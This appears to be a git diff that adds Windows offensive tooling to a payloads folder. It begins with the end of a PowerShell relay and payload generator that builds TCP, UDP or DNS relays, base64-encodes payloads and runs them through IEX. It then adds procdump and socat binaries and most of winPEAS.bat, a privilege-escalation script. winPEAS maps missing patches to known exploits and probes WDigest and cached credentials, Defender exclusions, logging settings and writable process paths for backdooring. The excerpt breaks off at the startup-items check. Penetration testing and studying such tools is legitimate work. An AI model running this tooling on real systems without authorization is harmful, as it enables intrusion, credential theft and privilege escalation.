if($e -ne "")
|
||||
{
|
||||
Write-Verbose "Set Stream 2: Process"
|
||||
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_CMD} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_CMD} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_CMD} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_CMD} + "`n}`n`n")
|
||||
$InvokeString += "@('$e')`n`n"
|
||||
}
|
||||
elseif($ep)
|
||||
{
|
||||
Write-Verbose "Set Stream 2: Powershell"
|
||||
$InvokeString += "`n`n"
|
||||
}
|
||||
elseif($r -ne "")
|
||||
{
|
||||
if($r.split(":")[0].ToLower() -eq "udp")
|
||||
{
|
||||
Write-Verbose "Set Stream 2: UDP"
|
||||
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_UDP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_UDP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_UDP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_UDP} + "`n}`n`n")
|
||||
if($r.split(":").Count -eq 2){$InvokeString += ("@('',`$True,'" + $r.split(":")[1] + "','$t') ")}
|
||||
elseif($r.split(":").Count -eq 3){$InvokeString += ("@('" + $r.split(":")[1] + "',`$False,'" + $r.split(":")[2] + "','$t') ")}
|
||||
else{return "Bad relay format."}
|
||||
}
|
||||
if($r.split(":")[0].ToLower() -eq "dns")
|
||||
{
|
||||
Write-Verbose "Set Stream 2: DNS"
|
||||
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_DNS} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_DNS} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_DNS} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_DNS} + "`n}`n`n")
|
||||
if($r.split(":").Count -eq 2){return "This feature is not available."}
|
||||
elseif($r.split(":").Count -eq 4){$InvokeString += ("@('" + $r.split(":")[1] + "','" + $r.split(":")[2] + "','" + $r.split(":")[3] + "',$dnsft) ")}
|
||||
else{return "Bad relay format."}
|
||||
}
|
||||
elseif($r.split(":")[0].ToLower() -eq "tcp")
|
||||
{
|
||||
Write-Verbose "Set Stream 2: TCP"
|
||||
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_TCP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_TCP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_TCP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_TCP} + "`n}`n`n")
|
||||
if($r.split(":").Count -eq 2){$InvokeString += ("@('',`$True,'" + $r.split(":")[1] + "','$t') ")}
|
||||
elseif($r.split(":").Count -eq 3){$InvokeString += ("@('" + $r.split(":")[1] + "',`$False,'" + $r.split(":")[2] + "','$t') ")}
|
||||
else{return "Bad relay format."}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Verbose "Set Stream 2: Console"
|
||||
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_Console} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_Console} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_Console} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_Console} + "`n}`n`n")
|
||||
$InvokeString += ("@('" + $o + "')")
|
||||
}
|
||||
|
||||
if($ep){$FunctionString += ("function Main`n{`n" + ${function:Main_Powershell} + "`n}`n`n")}
|
||||
else{$FunctionString += ("function Main`n{`n" + ${function:Main} + "`n}`n`n")}
|
||||
$InvokeString = ($FunctionString + $InvokeString)
|
||||
########## GENERATE PAYLOAD ##########
|
||||
|
||||
########## RETURN GENERATED PAYLOADS ##########
|
||||
if($ge){Write-Verbose "Returning Encoded Payload..." ; return [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($InvokeString))}
|
||||
elseif($g){Write-Verbose "Returning Payload..." ; return $InvokeString}
|
||||
########## RETURN GENERATED PAYLOADS ##########
|
||||
|
||||
########## EXECUTION ##########
|
||||
$Output = $null
|
||||
try
|
||||
{
|
||||
if($rep)
|
||||
{
|
||||
while($True)
|
||||
{
|
||||
$Output += IEX $InvokeString
|
||||
Start-Sleep -s 2
|
||||
Write-Verbose "Repetition Enabled: Restarting..."
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
$Output += IEX $InvokeString
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
if($Output -ne $null)
|
||||
{
|
||||
if($of -eq ""){$Output}
|
||||
else{[io.file]::WriteAllBytes($of,$Output)}
|
||||
}
|
||||
}
|
||||
########## EXECUTION ##########
|
||||
}
|
||||
BIN
payloads/windows/procdump64.exe
Normal file
BIN
payloads/windows/procdump64.exe
Normal file
Binary file not shown.
BIN
payloads/windows/socat.exe
Normal file
BIN
payloads/windows/socat.exe
Normal file
Binary file not shown.
BIN
payloads/windows/socat64.exe
Normal file
BIN
payloads/windows/socat64.exe
Normal file
Binary file not shown.
726
payloads/windows/winPEAS.bat
Normal file
726
payloads/windows/winPEAS.bat
Normal file
@@ -0,0 +1,726 @@
|
||||
@ECHO OFF & SETLOCAL EnableDelayedExpansion
|
||||
TITLE WinPEAS - Windows local Privilege Escalation Awesome Script
|
||||
COLOR 0F
|
||||
CALL :SetOnce
|
||||
|
||||
REM :: WinPEAS - Windows local Privilege Escalation Awesome Script
|
||||
REM :: Code by carlospolop; Re-Write by ThisLimn0
|
||||
|
||||
REM Registry scan of other drives besides
|
||||
REM /////true or false
|
||||
SET long=false
|
||||
|
||||
REM Check if the current path contains spaces
|
||||
SET "CurrentFolder=%~dp0"
|
||||
IF "!CurrentFolder!" NEQ "!CurrentFolder: =!" (
|
||||
ECHO winPEAS.bat cannot run if the current path contains spaces.
|
||||
ECHO Exiting.
|
||||
EXIT /B 1
|
||||
)
|
||||
|
||||
:Splash
|
||||
ECHO.
|
||||
CALL :ColorLine " %E%32m((,.,/((((((((((((((((((((/, */%E%97m"
|
||||
CALL :ColorLine " %E%32m,/*,..*(((((((((((((((((((((((((((((((((,%E%97m"
|
||||
CALL :ColorLine " %E%32m,*/((((((((((((((((((/, %E%92m.*//((//**,%E%32m .*((((((*%E%97m"
|
||||
CALL :ColorLine " %E%32m((((((((((((((((* %E%94m*****%E%32m,,,/########## %E%32m.(* ,((((((%E%97m"
|
||||
CALL :ColorLine " %E%32m(((((((((((/* %E%94m******************%E%32m/####### %E%32m.(. ((((((%E%97m"
|
||||
CALL :ColorLine " %E%32m((((((.%E%92m.%E%94m******************%E%97m/@@@@@/%E%94m***%E%92m/######%E%32m /((((((%E%97m"
|
||||
CALL :ColorLine " %E%32m,,.%E%92m.%E%94m**********************%E%97m@@@@@@@@@@(%E%94m***%E%92m,####%E%32m ../(((((%E%97m"
|
||||
CALL :ColorLine " %E%32m, ,%E%92m%E%94m**********************%E%97m#@@@@@#@@@@%E%94m*********%E%92m##%E%32m((/ /((((%E%97m"
|
||||
CALL :ColorLine " %E%32m..((%E%92m(##########%E%94m*********%E%97m/#@@@@@@@@@/%E%94m*************%E%32m,,..((((%E%97m"
|
||||
CALL :ColorLine " %E%32m.((%E%92m(################(/%E%94m******%E%97m/@@@@@#%E%94m****************%E%32m.. /((%E%97m"
|
||||
CALL :ColorLine " %E%32m.(%E%92m(########################(/%E%94m************************%E%32m..*(%E%97m"
|
||||
CALL :ColorLine " %E%32m.(%E%92m(#############################(/%E%94m********************%E%32m.,(%E%97m"
|
||||
CALL :ColorLine " %E%32m.(%E%92m(##################################(/%E%94m***************%E%32m..(%E%97m"
|
||||
CALL :ColorLine " %E%32m.(%E%92m(######################################(%E%94m************%E%32m..(%E%97m"
|
||||
CALL :ColorLine " %E%32m.(%E%92m(######(,.***.,(###################(..***(/%E%94m*********%E%32m..(%E%97m"
|
||||
CALL :ColorLine " %E%32m.(%E%92m(######*(#####((##################((######/(%E%94m********%E%32m..(%E%97m"
|
||||
CALL :ColorLine " %E%32m.(%E%92m(##################(/**********(################(%E%94m**%E%32m...(%E%97m"
|
||||
CALL :ColorLine " %E%32m.((%E%92m(####################/*******(###################%E%32m.((((%E%97m"
|
||||
CALL :ColorLine " %E%32m.((((%E%92m(############################################/%E%32m /((%E%97m"
|
||||
CALL :ColorLine " %E%32m..((((%E%92m(#########################################(%E%32m..(((((.%E%97m"
|
||||
CALL :ColorLine " %E%32m....((((%E%92m(#####################################(%E%32m .((((((.%E%97m"
|
||||
CALL :ColorLine " %E%32m......((((%E%92m(#################################(%E%32m .(((((((.%E%97m"
|
||||
CALL :ColorLine " %E%32m(((((((((. ,%E%92m(############################(%E%32m../(((((((((.%E%97m"
|
||||
CALL :ColorLine " %E%32m(((((((((/, %E%92m,####################(%E%32m/..((((((((((.%E%97m"
|
||||
CALL :ColorLine " %E%32m(((((((((/,. %E%92m,*//////*,.%E%32m ./(((((((((((.%E%97m"
|
||||
CALL :ColorLine " %E%32m(((((((((((((((((((((((((((/%E%97m"
|
||||
ECHO. by carlospolop
|
||||
ECHO.
|
||||
ECHO.
|
||||
|
||||
:Advisory
|
||||
REM // Increase progress in title by n percent
|
||||
CALL :T_Progress 0
|
||||
ECHO./^^!\ Advisory: WinPEAS - Windows local Privilege Escalation Awesome Script
|
||||
CALL :ColorLine " %E%41mWinPEAS should be used for authorized penetration testing and/or educational purposes only.%E%40;97m"
|
||||
CALL :ColorLine " %E%41mAny misuse of this software will not be the responsibility of the author or of any other collaborator.%E%40;97m"
|
||||
CALL :ColorLine " %E%41mUse it at your own networks and/or with the network owner's permission.%E%40;97m"
|
||||
ECHO.
|
||||
ECHO. [i] Best Linux PE and hardening course: https://hacktricks-training.com/courses/lhe/
|
||||
ECHO.
|
||||
|
||||
:SystemInfo
|
||||
CALL :ColorLine "%E%32m[*]%E%97m BASIC SYSTEM INFO"
|
||||
CALL :ColorLine " %E%33m[+]%E%97m WINDOWS OS"
|
||||
ECHO. [i] Check for vulnerabilities for the OS version with the applied patches
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#version-exploits
|
||||
systeminfo
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:ListHotFixes
|
||||
where wmic >nul 2>&1
|
||||
if %errorlevel% equ 0 (
|
||||
wmic qfe get Caption,Description,HotFixID,InstalledOn
|
||||
) else (
|
||||
powershell -command "Get-HotFix | Format-Table -AutoSize"
|
||||
)
|
||||
set expl=no
|
||||
for /f "tokens=3-9" %%a in ('systeminfo') do (ECHO."%%a %%b %%c %%d %%e %%f %%g" | findstr /i "2000 XP 2003 2008 vista" && set expl=yes) & (ECHO."%%a %%b %%c %%d %%e %%f %%g" | findstr /i /C:"windows 7" && set expl=yes)
|
||||
IF "%expl%" == "yes" ECHO. [i] Possible exploits (https://github.com/codingo/OSCP-2/blob/master/Windows/WinPrivCheck.bat)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2592799" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS11-080 patch is NOT installed! (Vulns: XP/SP3,2K3/SP3-afd.sys)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB3143141" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS16-032 patch is NOT installed! (Vulns: 2K8/SP1/2,Vista/SP2,7/SP1-secondary logon)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2393802" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS11-011 patch is NOT installed! (Vulns: XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP1/2,7/SP0-WmiTraceMessageVa)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB982799" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-59 patch is NOT installed! (Vulns: 2K8,Vista,7/SP0-Chimichurri)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB979683" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-21 patch is NOT installed! (Vulns: 2K/SP4,XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP0/1/2,7/SP0-Win Kernel)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2305420" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-092 patch is NOT installed! (Vulns: 2K8/SP0/1/2,Vista/SP1/2,7/SP0-Task Sched)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB981957" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-073 patch is NOT installed! (Vulns: XP/SP2/3,2K3/SP2/2K8/SP2,Vista/SP1/2,7/SP0-Keyboard Layout)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB4013081" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS17-017 patch is NOT installed! (Vulns: 2K8/SP2,Vista/SP2,7/SP1-Registry Hive Loading)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB977165" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-015 patch is NOT installed! (Vulns: 2K,XP,2K3,2K8,Vista,7-User Mode to Ring)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB941693" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS08-025 patch is NOT installed! (Vulns: 2K/SP4,XP/SP2,2K3/SP1/2,2K8/SP0,Vista/SP0/1-win32k.sys)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB920958" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS06-049 patch is NOT installed! (Vulns: 2K/SP4-ZwQuerySysInfo)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB914389" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS06-030 patch is NOT installed! (Vulns: 2K,XP/SP2-Mrxsmb.sys)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB908523" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS05-055 patch is NOT installed! (Vulns: 2K/SP4-APC Data-Free)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB890859" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS05-018 patch is NOT installed! (Vulns: 2K/SP3/4,XP/SP1/2-CSRSS)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB842526" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS04-019 patch is NOT installed! (Vulns: 2K/SP2/3/4-Utility Manager)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB835732" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS04-011 patch is NOT installed! (Vulns: 2K/SP2/3/4,XP/SP0/1-LSASS service BoF)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB841872" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS04-020 patch is NOT installed! (Vulns: 2K/SP4-POSIX)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2975684" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS14-040 patch is NOT installed! (Vulns: 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-afd.sys Dangling Pointer)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB3136041" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS16-016 patch is NOT installed! (Vulns: 2K8/SP1/2,Vista/SP2,7/SP1-WebDAV to Address)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB3057191" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS15-051 patch is NOT installed! (Vulns: 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-win32k.sys)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2989935" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS14-070 patch is NOT installed! (Vulns: 2K3/SP2-TCP/IP)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2778930" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS13-005 patch is NOT installed! (Vulns: Vista,7,8,2008,2008R2,2012,RT-hwnd_broadcast)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2850851" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS13-053 patch is NOT installed! (Vulns: 7SP0/SP1_x86-schlamperei)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2870008" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS13-081 patch is NOT installed! (Vulns: 7SP0/SP1_x86-track_popup_menu)
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:DateAndTime
|
||||
CALL :ColorLine " %E%33m[+]%E%97m DATE and TIME"
|
||||
ECHO. [i] You may need to adjust your local date/time to exploit some vulnerability
|
||||
date /T
|
||||
time /T
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:AuditSettings
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Audit Settings"
|
||||
ECHO. [i] Check what is being logged
|
||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:WEFSettings
|
||||
CALL :ColorLine " %E%33m[+]%E%97m WEF Settings"
|
||||
ECHO. [i] Check where are being sent the logs
|
||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:LAPSInstallCheck
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Legacy Microsoft LAPS installed?"
|
||||
ECHO. [i] Check what is being logged
|
||||
REG QUERY "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:WindowsLAPSInstallCheck
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Windows LAPS installed?"
|
||||
ECHO. [i] Check what is being logged: 0x00 Disabled, 0x01 Backup to Entra, 0x02 Backup to Active Directory
|
||||
REG QUERY "HKEY_LOCAL_MACHINE\Software\Microsoft\Policies\LAPS" /v BackupDirectory 2>nul
|
||||
REG QUERY "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\LAPS" /v BackupDirectory 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:LSAProtectionCheck
|
||||
CALL :ColorLine " %E%33m[+]%E%97m LSA protection?"
|
||||
ECHO. [i] Active if "1"
|
||||
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA" /v RunAsPPL 2>nul
|
||||
CALL :T_Progress 1
|
||||
|
||||
:LSACredentialGuard
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Credential Guard?"
|
||||
ECHO. [i] Active if "1" or "2"
|
||||
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA" /v LsaCfgFlags 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:LogonCredentialsPlainInMemory
|
||||
CALL :ColorLine " %E%33m[+]%E%97m WDigest?"
|
||||
ECHO. [i] Plain-text creds in memory if "1"
|
||||
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:CachedCreds
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Number of cached creds"
|
||||
ECHO. [i] You need System-rights to extract them
|
||||
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v CACHEDLOGONSCOUNT 2>nul
|
||||
CALL :T_Progress 1
|
||||
|
||||
:UACSettings
|
||||
CALL :ColorLine " %E%33m[+]%E%97m UAC Settings"
|
||||
ECHO. [i] If the results read ENABLELUA REG_DWORD 0x1, part or all of the UAC components are on
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.html#very-basic-uac-bypass-full-file-system-access
|
||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:AVSettings
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Registered Anti-Virus(AV)"
|
||||
where wmic >nul 2>&1
|
||||
if %errorlevel% equ 0 (
|
||||
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
|
||||
) else (
|
||||
powershell -command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select-Object -ExpandProperty displayName"
|
||||
)
|
||||
ECHO.Checking for defender whitelisted PATHS
|
||||
reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" 2>nul
|
||||
CALL :T_Progress 1
|
||||
|
||||
:PSSettings
|
||||
CALL :ColorLine " %E%33m[+]%E%97m PowerShell settings"
|
||||
ECHO.PowerShell v2 Version:
|
||||
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine /v PowerShellVersion 2>nul
|
||||
ECHO.PowerShell v5 Version:
|
||||
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\3\PowerShellEngine /v PowerShellVersion 2>nul
|
||||
ECHO.Transcriptions Settings:
|
||||
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription 2>nul
|
||||
ECHO.Module logging settings:
|
||||
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging 2>nul
|
||||
ECHO.Scriptblog logging settings:
|
||||
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging 2>nul
|
||||
ECHO.
|
||||
ECHO.PS default transcript history
|
||||
dir %SystemDrive%\transcripts\ 2>nul
|
||||
ECHO.
|
||||
ECHO.Checking PS history file
|
||||
dir "%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 3
|
||||
|
||||
:MountedDisks
|
||||
CALL :ColorLine " %E%33m[+]%E%97m MOUNTED DISKS"
|
||||
ECHO. [i] Maybe you find something interesting
|
||||
where wmic >nul 2>&1
|
||||
if %errorlevel% equ 0 (
|
||||
wmic logicaldisk get caption
|
||||
) else (
|
||||
fsutil fsinfo drives
|
||||
)
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:Environment
|
||||
CALL :ColorLine " %E%33m[+]%E%97m ENVIRONMENT"
|
||||
ECHO. [i] Interesting information?
|
||||
ECHO.
|
||||
set
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:InstalledSoftware
|
||||
CALL :ColorLine " %E%33m[+]%E%97m INSTALLED SOFTWARE"
|
||||
ECHO. [i] Some weird software? Check for vulnerabilities in unknow software installed
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#applications
|
||||
ECHO.
|
||||
dir /b "C:\Program Files" "C:\Program Files (x86)" | sort
|
||||
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s | findstr InstallLocation | findstr ":\\"
|
||||
reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ /s | findstr InstallLocation | findstr ":\\"
|
||||
IF exist C:\Windows\CCM\SCClient.exe ECHO.SCCM is installed (installers are run with SYSTEM privileges, many are vulnerable to DLL Sideloading)
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:RemodeDeskCredMgr
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Remote Desktop Credentials Manager"
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#remote-desktop-credential-manager
|
||||
IF exist "%LOCALAPPDATA%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings" ECHO.Found: RDCMan.settings in %AppLocal%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings, check for credentials in .rdg files
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:WSUS
|
||||
CALL :ColorLine " %E%33m[+]%E%97m WSUS"
|
||||
ECHO. [i] You can inject 'fake' updates into non-SSL WSUS traffic (WSUXploit)
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#wsus
|
||||
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\ 2>nul | findstr /i "wuserver" | findstr /i "http://"
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:RunningProcesses
|
||||
CALL :ColorLine " %E%33m[+]%E%97m RUNNING PROCESSES"
|
||||
ECHO. [i] Something unexpected is running? Check for vulnerabilities
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#running-processes
|
||||
tasklist /SVC
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
ECHO. [i] Checking file permissions of running processes (File backdooring - maybe the same files start automatically when Administrator logs in)
|
||||
where wmic >nul 2>&1
|
||||
if %errorlevel% equ 0 (
|
||||
for /f "tokens=2 delims='='" %%x in ('wmic process list full ^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
|
||||
for /f eol^=^"^ delims^=^" %%z in ('ECHO.%%x') do (
|
||||
icacls "%%z" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO.
|
||||
)
|
||||
)
|
||||
) else (
|
||||
for /f "tokens=*" %%x in ('powershell -command "Get-Process | Where-Object {$_.Path -and $_.Path -notlike '*system32*'} | Select-Object -ExpandProperty Path -Unique"') do (
|
||||
icacls "%%x" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO.
|
||||
)
|
||||
)
|
||||
ECHO.
|
||||
ECHO. [i] Checking directory permissions of running processes (DLL injection)
|
||||
where wmic >nul 2>&1
|
||||
if %errorlevel% equ 0 (
|
||||
for /f "tokens=2 delims='='" %%x in ('wmic process list full ^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('ECHO.%%x') do (
|
||||
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO.
|
||||
)
|
||||
) else (
|
||||
for /f "tokens=*" %%x in ('powershell -command "Get-Process | Where-Object {$_.Path -and $_.Path -notlike '*system32*'} | Select-Object -ExpandProperty Path -Unique"') do (
|
||||
for /f "delims=" %%d in ("%%~dpx") do icacls "%%d" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO.
|
||||
)
|
||||
)
|
||||
ECHO.
|
||||
CALL :T_Progress 3
|
||||
|
||||
:RunAtStartup
|
||||
CALL :ColorLine " %E%33m[+]%E%97m RUN AT STARTUP"
|
||||
